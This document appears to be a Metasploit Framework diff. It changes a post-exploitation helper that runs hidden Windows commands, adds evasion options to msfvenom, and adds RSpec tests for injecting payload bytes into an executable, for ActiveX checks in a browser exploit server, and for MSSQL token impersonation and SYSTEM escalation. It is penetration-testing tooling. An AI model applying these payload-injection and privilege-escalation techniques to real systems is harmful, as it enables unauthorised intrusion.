||||||
return 0
|
|
||||||
end
|
end
|
||||||
|
|
||||||
# Only process file if the process creation was successful, delete when done, give us info
|
# Only process file if the process creation was successful, delete when done, give us info
|
||||||
# about process
|
# about process
|
||||||
if cs["return"]
|
if pi
|
||||||
tmpout = ""
|
tmpout = read_file(outpath) if cmdout
|
||||||
if cmdout
|
|
||||||
outfile = session.fs.file.new(outpath, "rb")
|
|
||||||
until outfile.eof?
|
|
||||||
tmpout << outfile.read
|
|
||||||
end
|
|
||||||
outfile.close
|
|
||||||
c = session.sys.process.execute("cmd.exe /c del #{outpath}", nil, {'Hidden' => true})
|
|
||||||
c.close
|
|
||||||
end
|
|
||||||
|
|
||||||
pi = cs["lpProcessInformation"].unpack("LLLL")
|
|
||||||
print_status("Command Run: #{cmdstr}")
|
print_status("Command Run: #{cmdstr}")
|
||||||
print_status("Process Handle: #{pi[0]}")
|
vprint_status("Process Handle: #{pi[:process_handle]}")
|
||||||
print_status("Thread Handle: #{pi[1]}")
|
vprint_status("Thread Handle: #{pi[:thread_handle]}")
|
||||||
print_status("Process Id: #{pi[2]}")
|
vprint_status("Process Id: #{pi[:process_id]}")
|
||||||
print_status("Thread Id: #{pi[3]}")
|
vprint_status("Thread Id: #{pi[:thread_id]}")
|
||||||
print_line(tmpout)
|
print_status("Command output:\r\n#{tmpout}") unless tmpout.nil?
|
||||||
else
|
|
||||||
print_error("Oops something went wrong. Error Returned by Windows was #{cs["GetLastError"]}")
|
|
||||||
return 0
|
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
10
msfvenom
10
msfvenom
|
@ -297,8 +297,14 @@ if __FILE__ == $0
|
||||||
exit
|
exit
|
||||||
end
|
end
|
||||||
|
|
||||||
$stderr.puts "Options for #{payload_mod.fullname}\n\n"
|
$stderr.puts "Options for #{payload_mod.fullname}:\n\n"
|
||||||
$stdout.puts ::Msf::Serializer::ReadableText.dump_module(payload_mod,' ')
|
$stdout.puts ::Msf::Serializer::ReadableText.dump_module(payload_mod, ' ')
|
||||||
|
|
||||||
|
$stderr.puts "Advanced options for #{payload_mod.fullname}:\n\n"
|
||||||
|
$stdout.puts ::Msf::Serializer::ReadableText.dump_advanced_options(payload_mod, ' ')
|
||||||
|
|
||||||
|
$stderr.puts "Evasion options for #{payload_mod.fullname}:\n\n"
|
||||||
|
$stdout.puts ::Msf::Serializer::ReadableText.dump_evasion_options(payload_mod, ' ')
|
||||||
exit(0)
|
exit(0)
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
|
@ -8,4 +8,26 @@ describe Metasploit::Framework::LoginScanner::HTTP do
|
||||||
it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket'
|
it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket'
|
||||||
it_behaves_like 'Metasploit::Framework::LoginScanner::HTTP'
|
it_behaves_like 'Metasploit::Framework::LoginScanner::HTTP'
|
||||||
|
|
||||||
|
subject do
|
||||||
|
described_class.new
|
||||||
|
end
|
||||||
|
|
||||||
|
let(:response) { Rex::Proto::Http::Response.new(200, 'OK') }
|
||||||
|
|
||||||
|
before(:each) do
|
||||||
|
allow_any_instance_of(Rex::Proto::Http::Client).to receive(:request_cgi).with(any_args)
|
||||||
|
allow_any_instance_of(Rex::Proto::Http::Client).to receive(:send_recv).with(any_args).and_return(response)
|
||||||
|
allow_any_instance_of(Rex::Proto::Http::Client).to receive(:set_config).with(any_args)
|
||||||
|
allow_any_instance_of(Rex::Proto::Http::Client).to receive(:close)
|
||||||
|
allow_any_instance_of(Rex::Proto::Http::Client).to receive(:connect)
|
||||||
|
end
|
||||||
|
|
||||||
|
describe '#send_request' do
|
||||||
|
context 'when a valid request is sent' do
|
||||||
|
it 'returns a response object' do
|
||||||
|
expect(subject.send_request({'uri'=>'/'})).to be_kind_of(Rex::Proto::Http::Response)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
|
@ -72,14 +72,6 @@ describe Metasploit::Framework::LoginScanner::SymantecWebGateway do
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
describe '#send_request' do
|
|
||||||
context 'when a valid request is sent' do
|
|
||||||
it 'returns a response object' do
|
|
||||||
expect(subject.send_request({'uri'=>'/'})).to be_kind_of(Rex::Proto::Http::Response)
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
describe '#get_last_sid' do
|
describe '#get_last_sid' do
|
||||||
let(:response) do
|
let(:response) do
|
||||||
res = Rex::Proto::Http::Response.new(200, 'OK')
|
res = Rex::Proto::Http::Response.new(200, 'OK')
|
||||||
|
|
|
@ -0,0 +1,82 @@
|
||||||
|
require 'spec_helper'
|
||||||
|
require 'msf/core/exe/segment_appender'
|
||||||
|
|
||||||
|
describe Msf::Exe::SegmentAppender do
|
||||||
|
|
||||||
|
let(:opts) do
|
||||||
|
option_hash = {
|
||||||
|
:template => File.join(File.dirname(__FILE__), "..", "..", "..", "..", "..", "data", "templates", "template_x86_windows.exe"),
|
||||||
|
:payload => "\xd9\xeb\x9b\xd9\x74\x24",
|
||||||
|
:arch => :x86
|
||||||
|
}
|
||||||
|
end
|
||||||
|
subject(:injector) { Msf::Exe::SegmentInjector.new(opts) }
|
||||||
|
|
||||||
|
it { should respond_to :payload }
|
||||||
|
it { should respond_to :template }
|
||||||
|
it { should respond_to :arch }
|
||||||
|
it { should respond_to :processor }
|
||||||
|
it { should respond_to :buffer_register }
|
||||||
|
|
||||||
|
it 'should return the correct processor for the arch' do
|
||||||
|
injector.processor.class.should == Metasm::Ia32
|
||||||
|
injector.arch = :x64
|
||||||
|
injector.processor.class.should == Metasm::X86_64
|
||||||
|
end
|
||||||
|
|
||||||
|
context '#create_thread_stub' do
|
||||||
|
it 'should use edx as a default buffer register' do
|
||||||
|
injector.buffer_register.should == 'edx'
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'when given a non-default buffer register' do
|
||||||
|
let(:opts) do
|
||||||
|
option_hash = {
|
||||||
|
:template => File.join(File.dirname(__FILE__), "..", "..", "..", "..", "..", "data", "templates", "template_x86_windows.exe"),
|
||||||
|
:payload => "\xd9\xeb\x9b\xd9\x74\x24",
|
||||||
|
:arch => :x86,
|
||||||
|
:buffer_register => 'eax'
|
||||||
|
}
|
||||||
|
end
|
||||||
|
it 'should use the correct buffer register' do
|
||||||
|
injector.buffer_register.should == 'eax'
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
describe '#generate_pe' do
|
||||||
|
it 'should return a string' do
|
||||||
|
injector.generate_pe.kind_of?(String).should == true
|
||||||
|
end
|
||||||
|
|
||||||
|
it 'should produce a valid PE exe' do
|
||||||
|
expect {Metasm::PE.decode(injector.generate_pe) }.to_not raise_exception
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'the generated exe' do
|
||||||
|
let(:exe) { Metasm::PE.decode(injector.generate_pe) }
|
||||||
|
it 'should be the propper arch' do
|
||||||
|
exe.bitsize.should == 32
|
||||||
|
end
|
||||||
|
|
||||||
|
it 'should have 5 sections' do
|
||||||
|
exe.sections.count.should == 5
|
||||||
|
end
|
||||||
|
|
||||||
|
it 'should have all the right original section names' do
|
||||||
|
s_names = []
|
||||||
|
exe.sections.collect {|s| s_names << s.name}
|
||||||
|
s_names[0,4].should == [".text", ".rdata", ".data", ".rsrc"]
|
||||||
|
end
|
||||||
|
|
||||||
|
it 'should have the last section set to RWX' do
|
||||||
|
exe.sections.last.characteristics.should == ["CONTAINS_CODE", "MEM_EXECUTE", "MEM_READ", "MEM_WRITE"]
|
||||||
|
end
|
||||||
|
|
||||||
|
it 'should have an entrypoint that points to the last section' do
|
||||||
|
exe.optheader.entrypoint.should == exe.sections.last.virtaddr
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
|
@ -24,12 +24,6 @@ describe Msf::Exe::SegmentInjector do
|
||||||
injector.processor.class.should == Metasm::X86_64
|
injector.processor.class.should == Metasm::X86_64
|
||||||
end
|
end
|
||||||
|
|
||||||
context '#payload_as_asm' do
|
|
||||||
it 'should return the payload as declare byte instructions' do
|
|
||||||
injector.payload_as_asm.should == "db 0xd9\ndb 0xeb\ndb 0x9b\ndb 0xd9\ndb 0x74\ndb 0x24\n"
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
context '#create_thread_stub' do
|
context '#create_thread_stub' do
|
||||||
it 'should use edx as a default buffer register' do
|
it 'should use edx as a default buffer register' do
|
||||||
injector.buffer_register.should == 'edx'
|
injector.buffer_register.should == 'edx'
|
||||||
|
|
|
@ -41,9 +41,9 @@ describe Msf::Exploit::Remote::BrowserExploitServer do
|
||||||
:ua_ver =>'8.0',
|
:ua_ver =>'8.0',
|
||||||
:arch =>'x86',
|
:arch =>'x86',
|
||||||
:office =>'null',
|
:office =>'null',
|
||||||
:activex =>'true',
|
:activex => [ {clsid: '{D27CDB6E-AE6D-11cf-96B8-444553540000}', method: 'LoadMovie'} ],
|
||||||
:proxy =>false,
|
:proxy => false,
|
||||||
:language =>'en-us',
|
:language => 'en-us',
|
||||||
:tried => true
|
:tried => true
|
||||||
}
|
}
|
||||||
end
|
end
|
||||||
|
@ -65,6 +65,22 @@ describe Msf::Exploit::Remote::BrowserExploitServer do
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
describe '#has_bad_activex?' do
|
||||||
|
context 'when there is a bad activex' do
|
||||||
|
let(:js_ax_value) { "#{expected_profile[:activex][0][:clsid]}=>#{expected_profile[:activex][0][:method]}=>false" }
|
||||||
|
it 'returns false' do
|
||||||
|
expect(server.has_bad_activex?(js_ax_value)).to be_truthy
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'when there is no bad activex' do
|
||||||
|
let(:js_ax_value) { "#{expected_profile[:activex][0][:clsid]}=>#{expected_profile[:activex][0][:method]}=>true" }
|
||||||
|
it 'returns true' do
|
||||||
|
expect(server.has_bad_activex?(js_ax_value)).to be_falsey
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
describe "#get_bad_requirements" do
|
describe "#get_bad_requirements" do
|
||||||
let(:rejected_requirements) do
|
let(:rejected_requirements) do
|
||||||
server.get_bad_requirements(fake_profile)
|
server.get_bad_requirements(fake_profile)
|
||||||
|
|
|
@ -0,0 +1,492 @@
|
||||||
|
# -*- coding: binary -*-
|
||||||
|
require 'spec_helper'
|
||||||
|
|
||||||
|
require 'msf/core/post/windows/mssql'
|
||||||
|
|
||||||
|
describe Msf::Post::Windows::MSSQL do
|
||||||
|
let(:subject) do
|
||||||
|
mod = Module.new
|
||||||
|
mod.extend described_class
|
||||||
|
stubs = [ :vprint_status, :print_status, :vprint_good, :print_good, :print_error, :print_warning ]
|
||||||
|
stubs.each { |meth| mod.stub(meth) }
|
||||||
|
mod.stub(:service_info).and_return({})
|
||||||
|
mod
|
||||||
|
end
|
||||||
|
|
||||||
|
let(:running_pid) do
|
||||||
|
6541
|
||||||
|
end
|
||||||
|
|
||||||
|
let(:stopped_pid) do
|
||||||
|
0
|
||||||
|
end
|
||||||
|
|
||||||
|
let(:named_instance) do
|
||||||
|
'NamedInstance'
|
||||||
|
end
|
||||||
|
|
||||||
|
# http://blogs.technet.com/b/fort_sql/archive/2010/05/31/list-of-sql-server-service-names.aspx
|
||||||
|
let(:sql_server_7_display) do
|
||||||
|
'MSSQLServer'
|
||||||
|
end
|
||||||
|
|
||||||
|
let(:sql_server_2000_display) do
|
||||||
|
'MSSQLServer'
|
||||||
|
end
|
||||||
|
|
||||||
|
let(:sql_server_2000_named_display) do
|
||||||
|
"MSSQL$#{named_instance}"
|
||||||
|
end
|
||||||
|
|
||||||
|
# Affects 7 and 2000
|
||||||
|
let(:sql_server_analysis_services_display) do
|
||||||
|
'MSSQLServerOLAPService'
|
||||||
|
end
|
||||||
|
|
||||||
|
let(:sql_server_2005_display) do
|
||||||
|
'SQL Server (MSSQLSERVER)'
|
||||||
|
end
|
||||||
|
|
||||||
|
let(:sql_server_2005_named_display) do
|
||||||
|
"MSSQLServer#{named_instance}"
|
||||||
|
end
|
||||||
|
|
||||||
|
let(:sql_server_2008_display) do
|
||||||
|
'SQL Server (MSSQLSERVER)'
|
||||||
|
end
|
||||||
|
|
||||||
|
let(:sql_server_2008_named_display) do
|
||||||
|
"SQL Server (#{named_instance})"
|
||||||
|
end
|
||||||
|
|
||||||
|
# Affects 2005/2008
|
||||||
|
let(:sql_server_agent_display) do
|
||||||
|
"SQL Server Agent (MSSQLServer)"
|
||||||
|
end
|
||||||
|
|
||||||
|
let(:stopped_2k8_sql_instance) do
|
||||||
|
{ display: sql_server_2008_display, pid: stopped_pid }
|
||||||
|
end
|
||||||
|
|
||||||
|
let(:running_2k8_sql_instance) do
|
||||||
|
{ display: sql_server_2008_display, pid: running_pid }
|
||||||
|
end
|
||||||
|
|
||||||
|
let(:running_named_2k8_sql_instance) do
|
||||||
|
{ display: sql_server_2008_named_display, pid: running_pid }
|
||||||
|
end
|
||||||
|
|
||||||
|
let(:stopped_named_2k8_sql_instance) do
|
||||||
|
{ display: sql_server_2008_named_display, pid: stopped_pid }
|
||||||
|
end
|
||||||
|
|
||||||
|
let(:running_sql_server_agent_service) do
|
||||||
|
{ display: sql_server_agent_display, pid: running_pid }
|
||||||
|
end
|
||||||
|
|
||||||
|
let(:running_2k5_sql_instance) do
|
||||||
|
{ display: sql_server_2005_display, pid: running_pid }
|
||||||
|
end
|
||||||
|
|
||||||
|
let(:running_named_2k5_sql_instance) do
|
||||||
|
{ display: sql_server_2005_named_display, pid: running_pid }
|
||||||
|
end
|
||||||
|
|
||||||
|
let(:running_2k_sql_instance) do
|
||||||
|
{ display: sql_server_2000_display, pid: running_pid }
|
||||||
|
end
|
||||||
|
|
||||||
|
let(:running_named_2k_sql_instance) do
|
||||||
|
{ display: sql_server_2000_named_display, pid: running_pid }
|
||||||
|
end
|
||||||
|
|
||||||
|
let(:running_7_sql_instance) do
|
||||||
|
{ display: sql_server_7_display, pid: running_pid }
|
||||||
|
end
|
||||||
|
|
||||||
|
let(:running_analysis_service) do
|
||||||
|
{ display: sql_server_analysis_services_display, pid: running_pid }
|
||||||
|
end
|
||||||
|
|
||||||
|
let(:normal_service) do
|
||||||
|
{ display: 'blah', pid: running_pid }
|
||||||
|
end
|
||||||
|
|
||||||
|
describe "#check_for_sqlserver" do
|
||||||
|
let(:instance) do
|
||||||
|
nil
|
||||||
|
end
|
||||||
|
|
||||||
|
context "when instance is nil" do
|
||||||
|
it "should return nil if unable to locate any SQL instance" do
|
||||||
|
allow(subject).to receive(:each_service).and_yield(normal_service)
|
||||||
|
result = subject.check_for_sqlserver(instance)
|
||||||
|
result.should be_nil
|
||||||
|
end
|
||||||
|
|
||||||
|
it "should identify a running SQL instance" do
|
||||||
|
allow(subject).to receive(:each_service).and_yield(normal_service).and_yield(running_2k8_sql_instance)
|
||||||
|
result = subject.check_for_sqlserver(instance)
|
||||||
|
result.should eq running_2k8_sql_instance
|
||||||
|
end
|
||||||
|
|
||||||
|
it "shouldn't identify a non running SQL instance" do
|
||||||
|
allow(subject).to receive(:each_service).and_yield(normal_service).and_yield(stopped_2k8_sql_instance).and_yield(running_2k8_sql_instance)
|
||||||
|
result = subject.check_for_sqlserver(instance)
|
||||||
|
result.should eq running_2k8_sql_instance
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
context "when SQL Server 7 and instance is nil" do
|
||||||
|
it "should identify a running SQL instance" do
|
||||||
|
allow(subject).to receive(:each_service).and_yield(normal_service).and_yield(running_analysis_service).and_yield(running_7_sql_instance)
|
||||||
|
result = subject.check_for_sqlserver(instance)
|
||||||
|
result.should eq running_7_sql_instance
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
context "when SQL Server 2000 and instance is nil" do
|
||||||
|
it "should identify a running SQL instance" do
|
||||||
|
allow(subject).to receive(:each_service).and_yield(normal_service).and_yield(running_analysis_service).and_yield(running_2k_sql_instance)
|
||||||
|
result = subject.check_for_sqlserver(instance)
|
||||||
|
result.should eq running_2k_sql_instance
|
||||||
|
end
|
||||||
|
|
||||||
|
it "should identify a named SQL instance" do
|
||||||
|
allow(subject).to receive(:each_service).and_yield(normal_service).and_yield(running_analysis_service).and_yield(running_named_2k_sql_instance)
|
||||||
|
result = subject.check_for_sqlserver(instance)
|
||||||
|
result.should eq running_named_2k_sql_instance
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
context "when SQL Server 2005 and instance is nil" do
|
||||||
|
it "should identify a running SQL instance" do
|
||||||
|
allow(subject).to receive(:each_service).and_yield(normal_service).and_yield(running_sql_server_agent_service).and_yield(running_2k5_sql_instance)
|
||||||
|
result = subject.check_for_sqlserver(instance)
|
||||||
|
result.should eq running_2k5_sql_instance
|
||||||
|
end
|
||||||
|
|
||||||
|
it "should identify a named SQL instance" do
|
||||||
|
allow(subject).to receive(:each_service).and_yield(normal_service).and_yield(running_sql_server_agent_service).and_yield(running_named_2k5_sql_instance)
|
||||||
|
result = subject.check_for_sqlserver(instance)
|
||||||
|
result.should eq running_named_2k5_sql_instance
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
context "when SQL Server 2008 and instance is nil" do
|
||||||
|
it "should identify a running SQL instance" do
|
||||||
|
allow(subject).to receive(:each_service).and_yield(normal_service).and_yield(running_sql_server_agent_service).and_yield(running_2k8_sql_instance)
|
||||||
|
result = subject.check_for_sqlserver(instance)
|
||||||
|
result.should eq running_2k8_sql_instance
|
||||||
|
end
|
||||||
|
|
||||||
|
it "should identify a named SQL instance" do
|
||||||
|
allow(subject).to receive(:each_service).and_yield(normal_service).and_yield(running_sql_server_agent_service).and_yield(running_named_2k8_sql_instance)
|
||||||
|
result = subject.check_for_sqlserver(instance)
|
||||||
|
result.should eq running_named_2k8_sql_instance
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
context "when instance is supplied" do
|
||||||
|
let(:instance) do
|
||||||
|
named_instance
|
||||||
|
end
|
||||||
|
|
||||||
|
it "should return nil if unable to locate any SQL instance" do
|
||||||
|
allow(subject).to receive(:each_service).and_yield(normal_service)
|
||||||
|
result = subject.check_for_sqlserver(instance)
|
||||||
|
result.should be_nil
|
||||||
|
end
|
||||||
|
|
||||||
|
it "should identify a running SQL instance" do
|
||||||
|
allow(subject).to receive(:each_service).and_yield(normal_service).and_yield(running_named_2k8_sql_instance)
|
||||||
|
result = subject.check_for_sqlserver(instance)
|
||||||
|
result.should eq running_named_2k8_sql_instance
|
||||||
|
end
|
||||||
|
|
||||||
|
it "shouldn't identify a non running SQL instance" do
|
||||||
|
allow(subject).to receive(:each_service).and_yield(normal_service).and_yield(stopped_named_2k8_sql_instance).and_yield(running_named_2k8_sql_instance)
|
||||||
|
result = subject.check_for_sqlserver(instance)
|
||||||
|
result.should eq running_named_2k8_sql_instance
|
||||||
|
end
|
||||||
|
|
||||||
|
it "should only identify that instance" do
|
||||||
|
allow(subject).to receive(:each_service).and_yield(normal_service).and_yield(running_2k8_sql_instance).and_yield(running_named_2k8_sql_instance)
|
||||||
|
result = subject.check_for_sqlserver(instance)
|
||||||
|
result.should eq running_named_2k8_sql_instance
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
context "when SQL Server 7 and instance is supplied" do
|
||||||
|
let(:instance) do
|
||||||
|
'MSSQLServer'
|
||||||
|
end
|
||||||
|
|
||||||
|
it "should identify a running SQL instance" do
|
||||||
|
allow(subject).to receive(:each_service).and_yield(normal_service).and_yield(running_analysis_service).and_yield(running_7_sql_instance)
|
||||||
|
result = subject.check_for_sqlserver(instance)
|
||||||
|
result.should eq running_7_sql_instance
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
context "when SQL Server 2000 and instance is supplied" do
|
||||||
|
let(:instance) do
|
||||||
|
named_instance
|
||||||
|
end
|
||||||
|
|
||||||
|
it "should identify only a named SQL instance" do
|
||||||
|
allow(subject).to receive(:each_service).and_yield(normal_service).and_yield(running_analysis_service)
|
||||||
|
.and_yield(running_2k_sql_instance).and_yield(running_named_2k_sql_instance)
|
||||||
|
result = subject.check_for_sqlserver(instance)
|
||||||
|
result.should eq running_named_2k_sql_instance
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
context "when SQL Server 2005 and instance is supplied" do
|
||||||
|
let(:instance) do
|
||||||
|
named_instance
|
||||||
|
end
|
||||||
|
|
||||||
|
it "should identify only a named SQL instance" do
|
||||||
|
allow(subject).to receive(:each_service).and_yield(normal_service).and_yield(running_analysis_service)
|
||||||
|
.and_yield(running_2k5_sql_instance).and_yield(running_named_2k5_sql_instance)
|
||||||
|
result = subject.check_for_sqlserver(instance)
|
||||||
|
result.should eq running_named_2k5_sql_instance
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
context "when SQL Server 2008 and instance is supplied" do
|
||||||
|
let(:instance) do
|
||||||
|
named_instance
|
||||||
|
end
|
||||||
|
|
||||||
|
it "should identify only a named SQL instance" do
|
||||||
|
allow(subject).to receive(:each_service).and_yield(normal_service).and_yield(running_analysis_service)
|
||||||
|
.and_yield(running_2k8_sql_instance).and_yield(running_named_2k8_sql_instance)
|
||||||
|
result = subject.check_for_sqlserver(instance)
|
||||||
|
result.should eq running_named_2k8_sql_instance
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
describe "#impersonate_sql_user" do
|
||||||
|
let(:pid) do
|
||||||
|
8787
|
||||||
|
end
|
||||||
|
|
||||||
|
let(:user) do
|
||||||
|
'sqluser'
|
||||||
|
end
|
||||||
|
|
||||||
|
let(:service) do
|
||||||
|
{ pid: pid }
|
||||||
|
end
|
||||||
|
|
||||||
|
let(:process) do
|
||||||
|
{ 'pid' => pid, 'user' => user }
|
||||||
|
end
|
||||||
|
|
||||||
|
it 'should return false if service is invalid or pid is invalid' do
|
||||||
|
subject.impersonate_sql_user(nil).should be_falsey
|
||||||
|
subject.impersonate_sql_user(pid: nil).should be_falsey
|
||||||
|
subject.impersonate_sql_user(pid: 0).should be_falsey
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'user has privs to impersonate' do
|
||||||
|
before(:each) do
|
||||||
|
subject.stub_chain('session.sys.config.getuid').and_return('Superman')
|
||||||
|
subject.stub_chain('client.sys.config.getprivs').and_return(['SeAssignPrimaryTokenPrivilege'])
|
||||||
|
subject.stub_chain('session.incognito').and_return(true)
|
||||||
|
subject.stub_chain('session.sys.process.each_process').and_yield(process)
|
||||||
|
end
|
||||||
|
|
||||||
|
it 'should return true if successful impersonating' do
|
||||||
|
subject.stub_chain('session.incognito.incognito_impersonate_token').with(user).and_return('Successfully')
|
||||||
|
subject.impersonate_sql_user(service).should be true
|
||||||
|
end
|
||||||
|
|
||||||
|
it 'should return false if fails impersonating' do
|
||||||
|
subject.stub_chain('session.incognito.incognito_impersonate_token').with(user).and_return('guff')
|
||||||
|
subject.impersonate_sql_user(service).should be false
|
||||||
|
end
|
||||||
|
|
||||||
|
it 'should return false if unable to find process username' do
|
||||||
|
subject.stub_chain('session.sys.process.each_process').and_yield('pid' => 0)
|
||||||
|
subject.impersonate_sql_user(service).should be false
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'user does not have privs to impersonate' do
|
||||||
|
before(:each) do
|
||||||
|
subject.stub_chain('session.sys.config.getuid').and_return('Superman')
|
||||||
|
subject.stub_chain('client.sys.config.getprivs').and_return([])
|
||||||
|
end
|
||||||
|
|
||||||
|
it 'should return true if successful' do
|
||||||
|
expect(subject).to receive(:print_warning)
|
||||||
|
subject.stub_chain('session.core.migrate').with(pid).and_return(true)
|
||||||
|
subject.impersonate_sql_user(service).should be true
|
||||||
|
end
|
||||||
|
|
||||||
|
it 'should rescue an exception if migration fails' do
|
||||||
|
expect(subject).to receive(:print_warning)
|
||||||
|
subject.stub_chain('session.core.migrate').with(pid).and_raise(Rex::RuntimeError)
|
||||||
|
subject.impersonate_sql_user(service).should be false
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
describe "#get_system" do
|
||||||
|
it 'should return true if already SYSTEM' do
|
||||||
|
expect(subject).to receive(:is_system?).and_return(true)
|
||||||
|
subject.get_system.should be_truthy
|
||||||
|
end
|
||||||
|
|
||||||
|
it 'should return true if able to get SYSTEM and print a warning' do
|
||||||
|
expect(subject).to receive(:is_system?).and_return(false)
|
||||||
|
expect(subject).to receive(:print_warning)
|
||||||
|
subject.stub_chain('session.priv.getsystem').and_return([true])
|
||||||
|
subject.get_system.should be_truthy
|
||||||
|
end
|
||||||
|
|
||||||
|
it 'should return false if unable to get SYSTEM and print a warning' do
|
||||||
|
expect(subject).to receive(:is_system?).and_return(false)
|
||||||
|
expect(subject).to receive(:print_warning)
|
||||||
|
subject.stub_chain('session.priv.getsystem').and_return([false])
|
||||||
|
subject.get_system.should be_falsey
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
describe "#run_cmd" do
|
||||||
|
it 'should return a string' do
|
||||||
|
p = double('process')
|
||||||
|
c = double('channel')
|
||||||
|
p.stub(:channel).and_return(c)
|
||||||
|
subject.stub_chain('session.sys.process.execute').and_return(p)
|
||||||
|
expect(c).to receive(:read).and_return('hello')
|
||||||
|
expect(c).to receive(:read).and_return(nil)
|
||||||
|
expect(c).to receive(:close)
|
||||||
|
expect(p).to receive(:close)
|
||||||
|
subject.run_cmd(nil).should eq 'hello'
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
describe "#run_sql" do
|
||||||
|
let(:sqlclient) do
|
||||||
|
'blah'
|
||||||
|
end
|
||||||
|
|
||||||
|
before(:each) do
|
||||||
|
subject.sql_client = sqlclient
|
||||||
|
end
|
||||||
|
|
||||||
|
let(:query) do
|
||||||
|
'SELECT * FROM TABLE;'
|
||||||
|
end
|
||||||
|
|
||||||
|
let(:instance) do
|
||||||
|
'commandInstance'
|
||||||
|
end
|
||||||
|
|
||||||
|
let(:server) do
|
||||||
|
'mssql1231'
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'when only a query is supplied' do
|
||||||
|
it 'should pass the @sql_client, and query to run_cmd' do
|
||||||
|
expect(subject).to receive(:run_cmd) do |*args|
|
||||||
|
args.first.include?(sqlclient).should be_truthy
|
||||||
|
args.first.include?("-Q \"#{query}\" ").should be_truthy
|
||||||
|
args.first.include?("-S . ").should be_truthy
|
||||||
|
end
|
||||||
|
subject.run_sql(query)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'when a query and instance is supplied' do
|
||||||
|
it 'should pass the @sql_client, query, and instance to run_cmd' do
|
||||||
|
expect(subject).to receive(:run_cmd) do |*args|
|
||||||
|
args.first.include?(sqlclient).should be_truthy
|
||||||
|
args.first.include?("-Q \"#{query}\" ").should be_truthy
|
||||||
|
args.first.include?("-S .\\#{instance} ").should be_truthy
|
||||||
|
end
|
||||||
|
subject.run_sql(query, instance)
|
||||||
|
end
|
||||||
|
|
||||||
|
it 'should shouldnt supply an instance if the target is mssqlserver (7/2000)' do
|
||||||
|
expect(subject).to receive(:run_cmd) do |*args|
|
||||||
|
args.first.include?(sqlclient).should be_truthy
|
||||||
|
args.first.include?("-Q \"#{query}\" ").should be_truthy
|
||||||
|
args.first.include?("-S . ").should be_truthy
|
||||||
|
end
|
||||||
|
subject.run_sql(query, 'mssqlsErver')
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'when a query, instance, and server is supplied' do
|
||||||
|
it 'should pass the @sql_client, query, instance, and server to run_cmd' do
|
||||||
|
expect(subject).to receive(:run_cmd) do |*args|
|
||||||
|
args.first.include?(sqlclient).should be_truthy
|
||||||
|
args.first.include?("-Q \"#{query}\" ").should be_truthy
|
||||||
|
args.first.include?("-S #{server}\\#{instance} ").should be_truthy
|
||||||
|
end
|
||||||
|
subject.run_sql(query, instance, server)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
let(:osql) do
|
||||||
|
'osql'
|
||||||
|
end
|
||||||
|
|
||||||
|
let(:sql_command) do
|
||||||
|
'sqlcmd'
|
||||||
|
end
|
||||||
|
|
||||||
|
describe "#check_osql" do
|
||||||
|
it "should return nil if no osql" do
|
||||||
|
expect(subject).to receive(:run_cmd).with('osql -?').and_return('blah')
|
||||||
|
subject.check_osql.should be_falsey
|
||||||
|
end
|
||||||
|
|
||||||
|
it "should return true if present" do
|
||||||
|
expect(subject).to receive(:run_cmd).with('osql -?').and_return('(usage: osql)')
|
||||||
|
subject.check_osql.should be_truthy
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
describe "#check_sqlcmd" do
|
||||||
|
it "should return nil if no sqlcmd" do
|
||||||
|
expect(subject).to receive(:run_cmd).and_return('blah')
|
||||||
|
subject.check_sqlcmd.should be_falsey
|
||||||
|
end
|
||||||
|
|
||||||
|
it "should return true if present" do
|
||||||
|
expect(subject).to receive(:run_cmd).and_return('SQL Server Command Line Tool')
|
||||||
|
subject.check_sqlcmd.should be_truthy
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
describe "#get_sql_client" do
|
||||||
|
it "should return nil if no client is available" do
|
||||||
|
expect(subject).to receive(:check_sqlcmd).and_return(false)
|
||||||
|
expect(subject).to receive(:check_osql).and_return(false)
|
||||||
|
subject.get_sql_client.should be_nil
|
||||||
|
subject.sql_client.should be_nil
|
||||||
|
end
|
||||||
|
|
||||||
|
it "should return 'osql' if osql is available" do
|
||||||
|
